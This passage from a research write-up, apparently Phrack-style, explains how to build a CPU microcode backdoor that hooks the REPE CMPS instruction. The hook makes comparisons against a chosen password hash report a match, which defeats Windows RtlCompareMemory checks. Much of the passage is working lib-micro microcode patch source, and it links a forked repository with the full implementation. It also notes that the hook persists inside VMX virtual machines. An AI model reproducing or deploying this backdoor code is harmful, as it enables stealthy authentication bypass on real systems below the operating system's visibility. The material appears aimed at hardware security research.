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there is even a chance to trigger an access violation? Furthermore, if the
subsequent LDZX_DSZN_ASZ32_SC1 operation accesses an illegal virtual
address, should signals be generated then? Since the exact function of
SIGEVENT remains unclear, the hook has been placed at U3cc8 instead of the
cmps entry point U08b0 to avoid unintended side effects.
--[ 3.4.3 CMPS Backdoor Implementation
Now let's break down how this CMPS backdoor actually works. The mechanism
is straightforward: when executed, it checks the memory location pointed to
by RDI. If this value matches our predefined backdoor hash, the REPE CMPS
instruction will set the Z flag in RFLAGS, falsely indicating string
equivalence. Additionally, RCX must be cleared to zero, while RSI and RDI
should be properly incremented or decremented based on the D flag. This
adjustment is necessary because Windows' 64-bit RtlCompareMemory function
determines string equality length using these register values. Again, we
are using the hash '3dbde697d71690a769204beb12283678' (corresponding to
password '123') for this experiment. To use less MSRAM space, the
implementation compares only on the first 64 bits of the hash value, which
is 0xa79016d797e6bd3d.
The following microcode utilizes lib-micro[27] for writing to MSRAM and the
Match/Patch registers. Its IN instruction microcode patch is essential for
sustaining persistent microcode hooks. The forked version of lib-micro
includes the CMPS backdoor implementation. Full source code is accessible
at: https://github.com/whensungoesdown/lib-micro
This project compiles and executes on Linux systems with CPU red unlocked,
intended for testing and research purposes. The CMPS microcode hook remains
effective even in virtualized environments using Intel VMX technology, as
virtual machines execute most instructions (including CMPS) directly on the
physical host CPU. This makes it convenient to test the backdoor's effects
on a Windows system running inside a KVM/QEMU virtual machine.
ucode_t ucode_patch[] = {
{ // 0x0
// 64-bit 0xa79016d797e6bd3d
// 32-bit 0x97e6bd3d
NOP,
LDZX_DSZ32_ASZ32_SC1_DR(TMP1, RDI, 0x08) | MOD1, // seg 0x08 es
ZEROEXT_DSZ32_DI(TMP0, 0xa790),
NOP_SEQWORD
},
{ // 0x4
SHL_DSZ64_DRI(TMP0, TMP0, 0x10),
ADD_DSZ64_DRI(TMP0, TMP0, 0x16d7),
SHL_DSZ64_DRI(TMP0, TMP0, 0x10),
NOP_SEQWORD
},
{ // 0x8
ADD_DSZ64_DRI(TMP0, TMP0, 0x97e6),
SHL_DSZ64_DRI(TMP0, TMP0, 0x10),
ADD_DSZ64_DRI(TMP0, TMP0, 0xbd3d),
NOP_SEQWORD
},
{ // 0xc
NOP,
//SUB_DSZ32_DRR(TMP10, TMP1, TMP0) | MOD1, // dst, src0, src1
SUB_DSZ64_DRR(TMP10, TMP1, TMP0), // dst, src0, src1
UJMPCC_DIRECT_NOTTAKEN_CONDZ_RI(TMP10, JUMP_DESTINATION),
NOP_SEQWORD
//0x018000e5, //SUB MSLOOP
// BUG FIX: no MSLOOP, msloop cause gdb traped at repe cmps with
// resume flag (RF) set
},
{ // 0x10
//U3cc8: 1c0000231027 tmp1:= LDZX_DSZN_ASZ32_SC1(rdi, mode=0x08)
//U3cc9: 1c0000630026 tmp0:= LDZX_DSZN_ASZ32_SC1(rsi, mode=0x18)
//U3cca: 108501034d08 tmp4:= SUB_DSZN(0x00000001, tmp4)
0x1c0000231027, 0x1c0000630026, 0x108501034d08, 0x18000c0
},
{ // 0x1c
UJMP_I(hook_address+4),
UJMP_I(hook_address+5),
UJMP_I(hook_address+6),
NOP_SEQWORD
}
};
// JUMP_DESTINATION code
ucode_t ucode_patch[] = {
//U3ccc: 11890b8279c8 rdi:= ADDSUB_DSZ16_CONDD(
// IMM_MACRO_ALIAS_DATASIZE, rdi)
//U3ccd: 11890b826988 rsi:= ADDSUB_DSZ16_CONDD(
// IMM_MACRO_ALIAS_DATASIZE, rsi)
{
0x11890b8279c8, 0x11890b8279c8, 0x11890b826988, NOP_SEQWORD
},
{
0x11890b826988, NOP, NOP, NOP_SEQWORD
},
{
SUB_DSZ32_DRR(RCX, RCX, RCX) | MOD1,
GENARITHFLAGS_IR(0x0000003f, TMP10),
SFENCE,
END_SEQWORD
} // SEQW UEND0
};